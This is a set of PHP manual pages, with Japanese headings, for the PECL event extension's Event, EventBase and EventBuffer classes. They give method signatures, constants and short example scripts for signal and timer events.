Note that signal callbacks are run in the event loop after the signal occurs, so it is safe for them to call functions that you are not supposed to call from a regular POSIX signal handler.

See also » Fast portable non-blocking network programming with Libevent, Constructing Signal Events .

User Contributed Notes

There are no user contributed notes for this page.


The Event class

(PECL event >= 1.2.6-beta)

はじめに

Event class represents and event firing on a file descriptor being ready to read from or write to; a file descriptor becoming ready to read from or write to(edge-triggered I/O only); a timeout expiring; a signal occuring; a user-triggered event.

Every event is associated with EventBase . However, event will never fire until it is added (via Event::add() ). An added event remains in pending state until the registered event occurs, thus turning it to active state. To handle events user may register a callback which is called when event becomes active. If event is configured persistent , it remains pending. If it is not persistent, it stops being pending when it's callback runs. Event::del() method deletes event, thus making it non-pending. By means of Event::add() method it could be added again.

クラス概要

final Event {
/* Constants */
const int ET = 32 ;
const int PERSIST = 16 ;
const int READ = 2 ;
const int WRITE = 4 ;
const int SIGNAL = 8 ;
const int TIMEOUT = 1 ;
/* プロパティ */
public readonly bool $pending ;
/* メソッド */
public add ( float $timeout = ? ) : bool
public addSignal ( float $timeout = ? ) : bool
public addTimer ( float $timeout = ? ) : bool
public __construct ( EventBase $base , mixed $fd , int $what , callable $cb , mixed $arg = NULL )
public del ( ) : bool
public delSignal ( ) : bool
public delTimer ( ) : bool
public free ( ) : void
public static getSupportedMethods ( ) : array
public pending ( int $flags ) : bool
public set ( EventBase $base , mixed $fd , int $what = ? , callable $cb = ? , mixed $arg = ? ) : bool
public setPriority ( int $priority ) : bool
public setTimer ( EventBase $base , callable $cb , mixed $arg = ? ) : bool
public static signal ( EventBase $base , int $signum , callable $cb , mixed $arg = ? ) : Event
public static timer ( EventBase $base , callable $cb , mixed $arg = ? ) : Event
}

プロパティ

pending

Whether event is pending. See About event persistence .

定義済み定数

Event::ET

Indicates that the event should be edge-triggered, if the underlying event base backend supports edge-triggered events. This affects the semantics of Event::READ and Event::WRITE .

Event::PERSIST

Indicates that the event is persistent. See About event persistence .

Event::READ

This flag indicates an event that becomes active when the provided file descriptor(usually a stream resource, or socket) is ready for reading.

Event::WRITE

This flag indicates an event that becomes active when the provided file descriptor(usually a stream resource, or socket) is ready for reading.

Event::SIGNAL

Used to implement signal detection. See "Constructing signal events" below.

Event::TIMEOUT

This flag indicates an event that becomes active after a timeout elapses.

The Event::TIMEOUT flag is ignored when constructing an event: one can either set a timeout when event is added , or not. It is set in the $what argument to the callback function when a timeout has occurred.

目次

  • Event::add — Makes event pending
  • Event::addSignal — Makes signal event pending
  • Event::addTimer — Makes timer event pending
  • Event::__construct — Constructs Event object
  • Event::del — Makes event non-pending
  • Event::delSignal — Makes signal event non-pending
  • Event::delTimer — Makes timer event non-pending
  • Event::free — Make event non-pending and free resources allocated for this event
  • Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent
  • Event::pending — Detects whether event is pending or scheduled
  • Event::set — Re-configures event
  • Event::setPriority — Set event priority
  • Event::setTimer — Re-configures timer event
  • Event::signal — Constructs signal event object
  • Event::timer — Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Makes event pending

  • ≪ Event
  • Event::addSignal ≫
  • PHP Manual
  • Event
  • Makes event pending

Event::add

(PECL event >= 1.2.6-beta)

Event::add — Makes event pending

説明

public Event::add ( float $timeout = ? ) : bool

Marks event pending. Non-pending event will never occur, and the event callback will never be called. In conjuction with Event::del() an event could be re-scheduled by user at any time.

If Event::add() is called on an already pending event, libevent will leave it pending and re-schedule it with the given timeout(if specified). If in this case timeout is not specified, Event::add() has no effect.

パラメータ

timeout

Timeout in seconds.

返り値

Returns true on success. Otherwise false

参考

  • Event::addSignal() - Makes signal event pending
  • Event::addTimer() - Makes timer event pending
  • Event::del() - Makes event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Makes signal event pending

  • ≪ Event::add
  • Event::addTimer ≫
  • PHP Manual
  • Event
  • Makes signal event pending

Event::addSignal

(PECL event >= 1.2.6-beta)

Event::addSignal — Makes signal event pending

説明

public Event::addSignal ( float $timeout = ? ) : bool

Event::addSignal() is an alias of Event::add()

例

例1 Event::addSignal() example

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan    3976  0.2  0.0 139896 11256 pts/1    S+   10:25   0:00 php examples/signal.php
ruslan    3978  0.0  0.0   9572   864 pts/2    S+   10:26   0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
    private $base, $ev;

    public function __construct($base) {
        $this->base = $base;
        $this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
        $this->ev->addSignal();
    }

    public function eventSighandler($no, $c) {
        echo "Caught signal $no\n";
        $this->base->exit();
    }
}

$base = new EventBase();
$c    = new MyEventSignal($base);

$base->loop();
?>

上の例の出力は、 たとえば以下のようになります。

Caught signal 15

参考

  • Event::add() - Makes event pending
  • Event::del() - Makes event non-pending
  • Event::delSignal() - Makes signal event non-pending
  • Event::signal() - Constructs signal event object

User Contributed Notes

There are no user contributed notes for this page.


Makes timer event pending

  • ≪ Event::addSignal
  • Event::__construct ≫
  • PHP Manual
  • Event
  • Makes timer event pending

Event::addTimer

(PECL event >= 1.2.6-beta)

Event::addTimer — Makes timer event pending

説明

public Event::addTimer ( float $timeout = ? ) : bool

Event::addTimer() is an alias of Event::add()

返り値

例

例1 Event::addTimer() example

<?php
$base = new EventBase();
$n = 2;
$e = Event::timer($base, function($n) use (&$e) {
    echo "$n seconds elapsed\n";
    $e->delTimer();
}, $n);
$e->addTimer($n);
$base->loop();
?>

上の例の出力は、 たとえば以下のようになります。

2 seconds elapsed

参考

  • Event::add() - Makes event pending
  • Event::del() - Makes event non-pending
  • Event::delTimer() - Makes timer event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Constructs Event object

  • ≪ Event::addTimer
  • Event::del ≫
  • PHP Manual
  • Event
  • Constructs Event object

Event::__construct

(PECL event >= 1.2.6-beta)

Event::__construct — Constructs Event object

説明

public Event::__construct ( EventBase $base , mixed $fd , int $what , callable $cb , mixed $arg = NULL )

Constructs Event object.

パラメータ

base

The event base to associate with.

fd

stream resource, socket resource, or numeric file descriptor. For timer events pass -1 . For signal events pass the signal number, e.g. SIGHUP .

what

Event flags. See Event flags .

cb

The event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返り値

Returns Event object.

参考

  • Event::signal() - Constructs signal event object
  • Event::timer() - Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Makes event non-pending

  • ≪ Event::__construct
  • Event::delSignal ≫
  • PHP Manual
  • Event
  • Makes event non-pending

Event::del

(PECL event >= 1.2.6-beta)

Event::del — Makes event non-pending

説明

public Event::del ( ) : bool

Removes an event from the set of monitored events, i.e. makes it non-pending.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success. Otherwise false

参考

  • Event::add() - Makes event pending

User Contributed Notes

There are no user contributed notes for this page.


Makes signal event non-pending

  • ≪ Event::del
  • Event::delTimer ≫
  • PHP Manual
  • Event
  • Makes signal event non-pending

Event::delSignal

(PECL event >= 1.2.6-beta)

Event::delSignal — Makes signal event non-pending

説明

public Event::delSignal ( ) : bool

Event::delSignal() is an alias of Event::del()

参考

  • Event::del() - Makes event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Makes timer event non-pending

  • ≪ Event::delSignal
  • Event::free ≫
  • PHP Manual
  • Event
  • Makes timer event non-pending

Event::delTimer

(PECL event >= 1.2.6-beta)

Event::delTimer — Makes timer event non-pending

説明

public Event::delTimer ( ) : bool

Event::delTimer() is an alias of Event::del() .

参考

  • Event::del() - Makes event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Make event non-pending and free resources allocated for this event

  • ≪ Event::delTimer
  • Event::getSupportedMethods ≫
  • PHP Manual
  • Event
  • Make event non-pending and free resources allocated for this event

Event::free

(PECL event >= 1.2.6-beta)

Event::free — Make event non-pending and free resources allocated for this event

説明

public Event::free ( ) : void

Removes event from the list of events monitored by libevent, and free resources allocated for the event.

警告

The Event::free() method currently doesn't destruct the object itself. To destruct the object completely call unset() , or assign null.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • Event::__construct() - Constructs Event object

User Contributed Notes

There are no user contributed notes for this page.


Returns array with of the names of the methods supported in this version of Libevent

  • ≪ Event::free
  • Event::pending ≫
  • PHP Manual
  • Event
  • Returns array with of the names of the methods supported in this version of Libevent

Event::getSupportedMethods

(PECL event >= 1.2.6-beta)

Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent

説明

public static Event::getSupportedMethods ( ) : array

Returns array with of the names of the methods(backends) supported in this version of Libevent.

パラメータ

この関数にはパラメータはありません。

返り値

Returns array.

参考

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Detects whether event is pending or scheduled

  • ≪ Event::getSupportedMethods
  • Event::set ≫
  • PHP Manual
  • Event
  • Detects whether event is pending or scheduled

Event::pending

(PECL event >= 1.2.6-beta)

Event::pending — Detects whether event is pending or scheduled

説明

public Event::pending ( int $flags ) : bool

Detects whether event is pending or scheduled

パラメータ

flags

One of, or a composition of the following constants: Event::READ , Event::WRITE , Event::TIMEOUT , Event::SIGNAL .

返り値

Returns true if event is pending or scheduled. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Re-configures event

  • ≪ Event::pending
  • Event::setPriority ≫
  • PHP Manual
  • Event
  • Re-configures event

Event::set

(PECL event >= 1.2.6-beta)

Event::set — Re-configures event

説明

public Event::set ( EventBase $base , mixed $fd , int $what = ? , callable $cb = ? , mixed $arg = ? ) : bool

Re-configures event. Note, this function doesn't invoke obsolete libevent's event_set. It calls event_assign instead.

パラメータ

base

The event base to associate the event with.

fd

Stream resource, socket resource, or numeric file descriptor. For timer events pass -1 . For signal events pass the signal number, e.g. SIGHUP .

what

See Event flags .

cb

The event callback. See Event callbacks .

arg

Custom data associated with the event. It will be passed to the callback when the event becomes active.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Set event priority

  • ≪ Event::set
  • Event::setTimer ≫
  • PHP Manual
  • Event
  • Set event priority

Event::setPriority

(PECL event >= 1.2.6-beta)

Event::setPriority — Set event priority

説明

public Event::setPriority ( int $priority ) : bool

Set event priority.

パラメータ

priority

The event priority.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

Igor K 15-Jun-2020 03:50
$priority argument should be declared as float, because function expects float value in range between 0 and 1.
Otherwise you get "Unable to set event priority" error.


Re-configures timer event

  • ≪ Event::setPriority
  • Event::signal ≫
  • PHP Manual
  • Event
  • Re-configures timer event

Event::setTimer

(PECL event >= 1.2.6-beta)

Event::setTimer — Re-configures timer event

説明

public Event::setTimer ( EventBase $base , callable $cb , mixed $arg = ? ) : bool

Re-configures timer event. Note, this function doesn't invoke obsolete libevent's event_set . It calls event_assign instead.

パラメータ

base

The event base to associate with.

cb

The timer event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返り値

Returns true on success. Otherwise false.

参考

  • Event::__construct() - Constructs Event object
  • Event::timer() - Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Constructs signal event object

  • ≪ Event::setTimer
  • Event::timer ≫
  • PHP Manual
  • Event
  • Constructs signal event object

Event::signal

(PECL event >= 1.2.6-beta)

Event::signal — Constructs signal event object

説明

public static Event::signal ( EventBase $base , int $signum , callable $cb , mixed $arg = ? ) : Event

Constructs signal event object. This is a straightforward method to create a signal event. Note, the generic Event::__construct() method can contruct signal event objects too.

パラメータ

base

The associated event base object.

signum

The signal number.

cb

The signal event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返り値

Returns Event object on success. Otherwise false.

参考

  • Constructing signal events

User Contributed Notes

There are no user contributed notes for this page.


Constructs timer event object

  • ≪ Event::signal
  • EventBase ≫
  • PHP Manual
  • Event
  • Constructs timer event object

Event::timer

(PECL event >= 1.2.6-beta)

Event::timer — Constructs timer event object

説明

public static Event::timer ( EventBase $base , callable $cb , mixed $arg = ? ) : Event

Constructs timer event object. This is a straightforward method to create a timer event. Note, the generic Event::__construct() method can contruct signal event objects too.

パラメータ

base

The associated event base object.

cb

The signal event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返り値

Returns Event object on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


The EventBase class

(PECL event >= 1.2.6-beta)

はじめに

EventBase class represents libevent's event base structure. It holds a set of events and can poll to determine which events are active.

Each event base has a method , or a backend that it uses to determine which events are ready. The recognized methods are: select , poll , epoll , kqueue , devpoll , evport and win32 .

To configure event base to use, or avoid specific backend EventConfig class can be used.

警告

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

クラス概要

final EventBase {
/* Constants */
const int LOOP_ONCE = 1 ;
const int LOOP_NONBLOCK = 2 ;
const int NOLOCK = 1 ;
const int STARTUP_IOCP = 4 ;
const int NO_CACHE_TIME = 8 ;
const int EPOLL_USE_CHANGELIST = 16 ;
/* メソッド */
public __construct ( EventConfig $cfg = ? )
public dispatch ( ) : void
public exit ( float $timeout = ? ) : bool
public free ( ) : void
public getFeatures ( ) : int
public getMethod ( ) : string
public getTimeOfDayCached ( ) : float
public gotExit ( ) : bool
public gotStop ( ) : bool
public loop ( int $flags = ? ) : bool
public priorityInit ( int $n_priorities ) : bool
public reInit ( ) : bool
public stop ( ) : bool
}

定義済み定数

EventBase::LOOP_ONCE

Flag used with EventBase::loop() method which means: "block until libevent has an active event, then exit once all active events have had their callbacks run".

EventBase::LOOP_NONBLOCK

Flag used with EventBase::loop() method which means: "do not block: see which events are ready now, run the callbacks of the highest-priority ones, then exit".

EventBase::NOLOCK

Configuration flag. Do not allocate a lock for the event base, even if we have locking set up".

EventBase::STARTUP_IOCP

Windows-only configuration flag. Enables the IOCP dispatcher at startup.

EventBase::NO_CACHE_TIME

Configuration flag. Instead of checking the current time every time the event loop is ready to run timeout callbacks, check after each timeout callback.

EventBase::EPOLL_USE_CHANGELIST

If we are using the epoll backend, this flag says that it is safe to use Libevent's internal change-list code to batch up adds and deletes in order to try to do as few syscalls as possible.

Setting this flag can make code run faster, but it may trigger a Linux bug: it is not safe to use this flag if one has any fds cloned by dup(), or its variants. Doing so will produce strange and hard-to-diagnose bugs.

This flag can also be activated by settnig the EVENT_EPOLL_USE_CHANGELIST environment variable.

This flag has no effect if one winds up using a backend other than epoll .

目次

  • EventBase::__construct — Constructs EventBase object
  • EventBase::dispatch — Dispatch pending events
  • EventBase::exit — Stop dispatching events
  • EventBase::free — Free resources allocated for this event base
  • EventBase::getFeatures — Returns bitmask of features supported
  • EventBase::getMethod — Returns event method in use
  • EventBase::getTimeOfDayCached — Returns the current event base time
  • EventBase::gotExit — Checks if the event loop was told to exit
  • EventBase::gotStop — Checks if the event loop was told to exit
  • EventBase::loop — Dispatch pending events
  • EventBase::priorityInit — Sets number of priorities per event base
  • EventBase::reInit — Re-initialize event base(after a fork)
  • EventBase::stop — Tells event_base to stop dispatching events

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBase object

  • ≪ EventBase
  • EventBase::dispatch ≫
  • PHP Manual
  • EventBase
  • Constructs EventBase object

EventBase::__construct

(PECL event >= 1.2.6-beta)

EventBase::__construct — Constructs EventBase object

説明

public EventBase::__construct ( EventConfig $cfg = ? )

Constructs EventBase object

パラメータ

cfg

Optional EventConfig object.

返り値

Returns EventBase object.

参考

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Dispatch pending events

  • ≪ EventBase::__construct
  • EventBase::exit ≫
  • PHP Manual
  • EventBase
  • Dispatch pending events

EventBase::dispatch

(PECL event >= 1.2.6-beta)

EventBase::dispatch — Dispatch pending events

説明

public EventBase::dispatch ( ) : void

Wait for events to become active, and run their callbacks. The same as EventBase::loop() with no flags set.

警告

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success. Otherwise false.

参考

  • EventBase::loop() - Dispatch pending events

User Contributed Notes

There are no user contributed notes for this page.


Stop dispatching events

  • ≪ EventBase::dispatch
  • EventBase::free ≫
  • PHP Manual
  • EventBase
  • Stop dispatching events

EventBase::exit

(PECL event >= 1.2.6-beta)

EventBase::exit — Stop dispatching events

説明

public EventBase::exit ( float $timeout = ? ) : bool

Tells event base to stop optionally after given number of seconds.

パラメータ

timeout

Optional number of seconds after which the event base should stop dispatching events.

返り値

Returns true on success. Otherwise false.

参考

  • EventBase::stop() - Tells event_base to stop dispatching events

User Contributed Notes

There are no user contributed notes for this page.


Free resources allocated for this event base

  • ≪ EventBase::exit
  • EventBase::getFeatures ≫
  • PHP Manual
  • EventBase
  • Free resources allocated for this event base

EventBase::free

(PECL event >= 1.10.0)

EventBase::free — Free resources allocated for this event base

説明

public EventBase::free ( ) : void

Deallocates resources allocated by libevent for the EventBase object.

警告

The EventBase::free() method doesn't destruct the object itself. To destruct the object completely call unset() , or assign null.

This method does not deallocate or detach any of the events that are currently associated with the EventBase object, or close any of their sockets - beware.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EventBase::__construct() - Constructs EventBase object

User Contributed Notes

There are no user contributed notes for this page.


Returns bitmask of features supported

  • ≪ EventBase::free
  • EventBase::getMethod ≫
  • PHP Manual
  • EventBase
  • Returns bitmask of features supported

EventBase::getFeatures

(PECL event >= 1.2.6-beta)

EventBase::getFeatures — Returns bitmask of features supported

説明

public EventBase::getFeatures ( ) : int

Returns bitmask of features supported.

パラメータ

この関数にはパラメータはありません。

返り値

Returns integer representing a bitmask of supported features. See EventConfig::FEATURE_* constants .

例

例1 EventBase::getFeatures() example

<?php
// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

$base = new EventBase($cfg);

echo "Features:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print("ET - edge-triggered IO\n");
($features & EventConfig::FEATURE_O1) and print("O1 - O(1) operation for adding/deletting events\n");
($features & EventConfig::FEATURE_FDS) and print("FDS - arbitrary file descriptor types, and not just sockets\n");
?>

参考

  • EventBase::getMethod() - Returns event method in use
  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Returns event method in use

  • ≪ EventBase::getFeatures
  • EventBase::getTimeOfDayCached ≫
  • PHP Manual
  • EventBase
  • Returns event method in use

EventBase::getMethod

(PECL event >= 1.2.6-beta)

EventBase::getMethod — Returns event method in use

説明

public EventBase::getMethod ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

String representing used event method(backend).

例

例1 EventBase::getMethod() example

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);
echo "Event method used: ", $base->getMethod(), PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

`select' method avoided
Event method used: epoll

参考

  • EventBase::getFeatures() - Returns bitmask of features supported

User Contributed Notes

There are no user contributed notes for this page.


Returns the current event base time

  • ≪ EventBase::getMethod
  • EventBase::gotExit ≫
  • PHP Manual
  • EventBase
  • Returns the current event base time

EventBase::getTimeOfDayCached

(PECL event >= 1.2.6-beta)

EventBase::getTimeOfDayCached — Returns the current event base time

説明

public EventBase::getTimeOfDayCached ( ) : float

On success returns the current time(as returned by gettimeofday() ), looking at the cached value in base if possible, and calling gettimeofday() or clock_gettime() as appropriate if there is no cached time.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the current event base time. On failure returns null.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the event loop was told to exit

  • ≪ EventBase::getTimeOfDayCached
  • EventBase::gotStop ≫
  • PHP Manual
  • EventBase
  • Checks if the event loop was told to exit

EventBase::gotExit

(PECL event >= 1.2.6-beta)

EventBase::gotExit — Checks if the event loop was told to exit

説明

public EventBase::gotExit ( ) : bool

Checks if the event loop was told to exit by EventBase::exit() .

パラメータ

この関数にはパラメータはありません。

返り値

Returns true, event loop was told to exit by EventBase::exit() . Otherwise false.

参考

  • EventBase::exit() - Stop dispatching events
  • EventBase::stop() - Tells event_base to stop dispatching events
  • EventBase::gotStop() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


Checks if the event loop was told to exit

  • ≪ EventBase::gotExit
  • EventBase::loop ≫
  • PHP Manual
  • EventBase
  • Checks if the event loop was told to exit

EventBase::gotStop

(PECL event >= 1.2.6-beta)

EventBase::gotStop — Checks if the event loop was told to exit

説明

public EventBase::gotStop ( ) : bool

Checks if the event loop was told to exit by EventBase::stop() .

パラメータ

この関数にはパラメータはありません。

返り値

Returns true, event loop was told to stop by EventBase::stop() . Otherwise false.

参考

  • EventBase::exit() - Stop dispatching events
  • EventBase::stop() - Tells event_base to stop dispatching events
  • EventBase::gotExit() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


Dispatch pending events

  • ≪ EventBase::gotStop
  • EventBase::priorityInit ≫
  • PHP Manual
  • EventBase
  • Dispatch pending events

EventBase::loop

(PECL event >= 1.2.6-beta)

EventBase::loop — Dispatch pending events

説明

public EventBase::loop ( int $flags = ? ) : bool

Wait for events to become active, and run their callbacks.

警告

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

パラメータ

flags

Optional flags. One of EventBase::LOOP_* constants. See EventBase constants .

返り値

Returns true on success. Otherwise false.

参考

  • EventBase::dispatch() - Dispatch pending events

User Contributed Notes

There are no user contributed notes for this page.


Sets number of priorities per event base

  • ≪ EventBase::loop
  • EventBase::reInit ≫
  • PHP Manual
  • EventBase
  • Sets number of priorities per event base

EventBase::priorityInit

(PECL event >= 1.2.6-beta)

EventBase::priorityInit — Sets number of priorities per event base

説明

public EventBase::priorityInit ( int $n_priorities ) : bool

Sets number of priorities per event base.

パラメータ

n_priorities

The number of priorities per event base.

返り値

Returns true on success, otherwise false.

参考

  • Event::setPriority() - Set event priority

User Contributed Notes

There are no user contributed notes for this page.


Re-initialize event base(after a fork)

  • ≪ EventBase::priorityInit
  • EventBase::stop ≫
  • PHP Manual
  • EventBase
  • Re-initialize event base(after a fork)

EventBase::reInit

(PECL event >= 1.2.6-beta)

EventBase::reInit — Re-initialize event base(after a fork)

説明

public EventBase::reInit ( ) : bool

Re-initialize event base. Should be called after a fork.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Tells event_base to stop dispatching events

  • ≪ EventBase::reInit
  • EventBuffer ≫
  • PHP Manual
  • EventBase
  • Tells event_base to stop dispatching events

EventBase::stop

(PECL event >= 1.2.6-beta)

EventBase::stop — Tells event_base to stop dispatching events

説明

public EventBase::stop ( ) : bool

Tells event_base to stop dispatching events

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success. Otherwise false.

参考

  • EventBase::exit() - Stop dispatching events
  • EventBase::gotStop() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


The EventBuffer class

(PECL event >= 1.5.0)

はじめに

EventBuffer represents Libevent's "evbuffer", an utility functionality for buffered I/O.

Event buffers are meant to be generally useful for doing the "buffer" part of buffered network I/O.

クラス概要

EventBuffer {
/* Constants */
const int EOL_ANY = 0 ;
const int EOL_CRLF = 1 ;
const int EOL_CRLF_STRICT = 2 ;
const int EOL_LF = 3 ;
const int PTR_SET = 0 ;
const int PTR_ADD = 1 ;
/* プロパティ */
public readonly int $length ;
public readonly int $contiguous_space ;
/* メソッド */
public add ( string $data ) : bool
public addBuffer ( EventBuffer $buf ) : bool
public appendFrom ( EventBuffer $buf , int $len ) : int
public __construct ( )
public copyout ( string &$data , int $max_bytes ) : int
public drain ( int $len ) : bool
public enableLocking ( ) : void
public expand ( int $len ) : bool
public freeze ( bool $at_front ) : bool
public lock ( ) : void
public prepend ( string $data ) : bool
public prependBuffer ( EventBuffer $buf ) : bool
public pullup ( int $size ) : string
public read ( int $max_bytes ) : string
public read ( mixed $fd , int $howmuch ) : int
public readLine ( int $eol_style ) : string
public search ( string $what , int $start = -1 , int $end = -1 ) : mixed
public searchEol ( int $start = -1 , int $eol_style = EventBuffer::EOL_ANY ) : mixed
public substr ( int $start , int $length = ? ) : string
public unfreeze ( bool $at_front ) : bool
public unlock ( ) : bool
public write ( mixed $fd , int $howmuch = ? ) : int
}

プロパティ

length

The number of bytes stored in an event buffer.

contiguous_space

The number of bytes stored contiguously at the front of the buffer. The bytes in a buffer may be stored in multiple separate chunks of memory; the property returns the number of bytes currently stored in the first chunk.

定義済み定数

EventBuffer::EOL_ANY

The end of line is any sequence of any number of carriage return and linefeed characters. This format is not very useful; it exists mainly for backward compatibility.

EventBuffer::EOL_CRLF

The end of the line is an optional carriage return, followed by a linefeed. (In other words, it is either a "\r\n" or a "\n" .) This format is useful in parsing text-based Internet protocols, since the standards generally prescribe a "\r\n" line-terminator, but nonconformant clients sometimes say just "\n" .

EventBuffer::EOL_CRLF_STRICT

The end of a line is a single carriage return, followed by a single linefeed. (This is also known as "\r\n" . The ASCII values are 0x0D 0x0A ).

EventBuffer::EOL_LF

The end of a line is a single linefeed character. (This is also known as "\n" . It is ASCII value is 0x0A .)

EventBuffer::PTR_SET

Flag used as argument of EventBuffer::setPosition() method. If this flag specified, the position pointer is moved to an absolute position within the buffer.

EventBuffer::PTR_ADD

The same as EventBuffer::PTR_SET , except this flag causes EventBuffer::setPosition() method to move position forward up to the specified number of bytes(instead of setting absolute position).

目次

  • EventBuffer::add — Append data to the end of an event buffer
  • EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer
  • EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer
  • EventBuffer::__construct — Constructs EventBuffer object
  • EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::enableLocking — 説明
  • EventBuffer::expand — Reserves space in buffer
  • EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding
  • EventBuffer::lock — Acquires a lock on buffer
  • EventBuffer::prepend — Prepend data to the front of the buffer
  • EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer
  • EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::read — Read data from an evbuffer and drain the bytes read
  • EventBuffer::readFrom — Read data from a file onto the end of the buffer
  • EventBuffer::readLine — Extracts a line from the front of the buffer
  • EventBuffer::search — Scans the buffer for an occurrence of a string
  • EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line
  • EventBuffer::substr — Substracts a portion of the buffer data
  • EventBuffer::unfreeze — Re-enable calls that modify an event buffer
  • EventBuffer::unlock — Releases lock acquired by EventBuffer::lock
  • EventBuffer::write — Write contents of the buffer to a file or socket

User Contributed Notes

There are no user contributed notes for this page.


Append data to the end of an event buffer

  • ≪ EventBuffer
  • EventBuffer::addBuffer ≫
  • PHP Manual
  • EventBuffer
  • Append data to the end of an event buffer

EventBuffer::add

(PECL event >= 1.2.6-beta)

EventBuffer::add — Append data to the end of an event buffer

説明

public EventBuffer::add ( string $data ) : bool

Append data to the end of an event buffer.

パラメータ

data

String to be appended to the end of the buffer.

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Move all data from a buffer provided to the current instance of EventBuffer

  • ≪ EventBuffer::add
  • EventBuffer::appendFrom ≫
  • PHP Manual
  • EventBuffer
  • Move all data from a buffer provided to the current instance of EventBuffer

EventBuffer::addBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer

説明

public EventBuffer::addBuffer ( EventBuffer $buf ) : bool

Move all data from the buffer provided in buf parameter to the end of current EventBuffer . This is a destructive add. The data from one buffer moves into the other buffer. However, no unnecessary memory copies occur.

パラメータ

buf

The source EventBuffer object.

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::add() - Append data to the end of an event buffer

User Contributed Notes

There are no user contributed notes for this page.


Moves the specified number of bytes from a source buffer to the end of the current buffer

  • ≪ EventBuffer::addBuffer
  • EventBuffer::__construct ≫
  • PHP Manual
  • EventBuffer
  • Moves the specified number of bytes from a source buffer to the end of the current buffer

EventBuffer::appendFrom

(PECL event >= 1.6.0)

EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer

説明

public EventBuffer::appendFrom ( EventBuffer $buf , int $len ) : int

Moves the specified number of bytes from a source buffer to the end of the current buffer. If there are fewer number of bytes, it moves all the bytes available from the source buffer.

パラメータ

buf

Source buffer.

len

返り値

Returns the number of bytes read.

変更履歴

バージョン | 説明
PECL event 1.6.0 | Renamed EventBuffer::appendFrom()(the old method name) to EventBuffer::appendFrom().

参考

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBuffer object

  • ≪ EventBuffer::appendFrom
  • EventBuffer::copyout ≫
  • PHP Manual
  • EventBuffer
  • Constructs EventBuffer object

EventBuffer::__construct

(PECL event >= 1.2.6-beta)

EventBuffer::__construct — Constructs EventBuffer object

説明

public EventBuffer::__construct ( )

Constructs EventBuffer object

パラメータ

この関数にはパラメータはありません。

返り値

Returns EventBuffer object.

User Contributed Notes

There are no user contributed notes for this page.


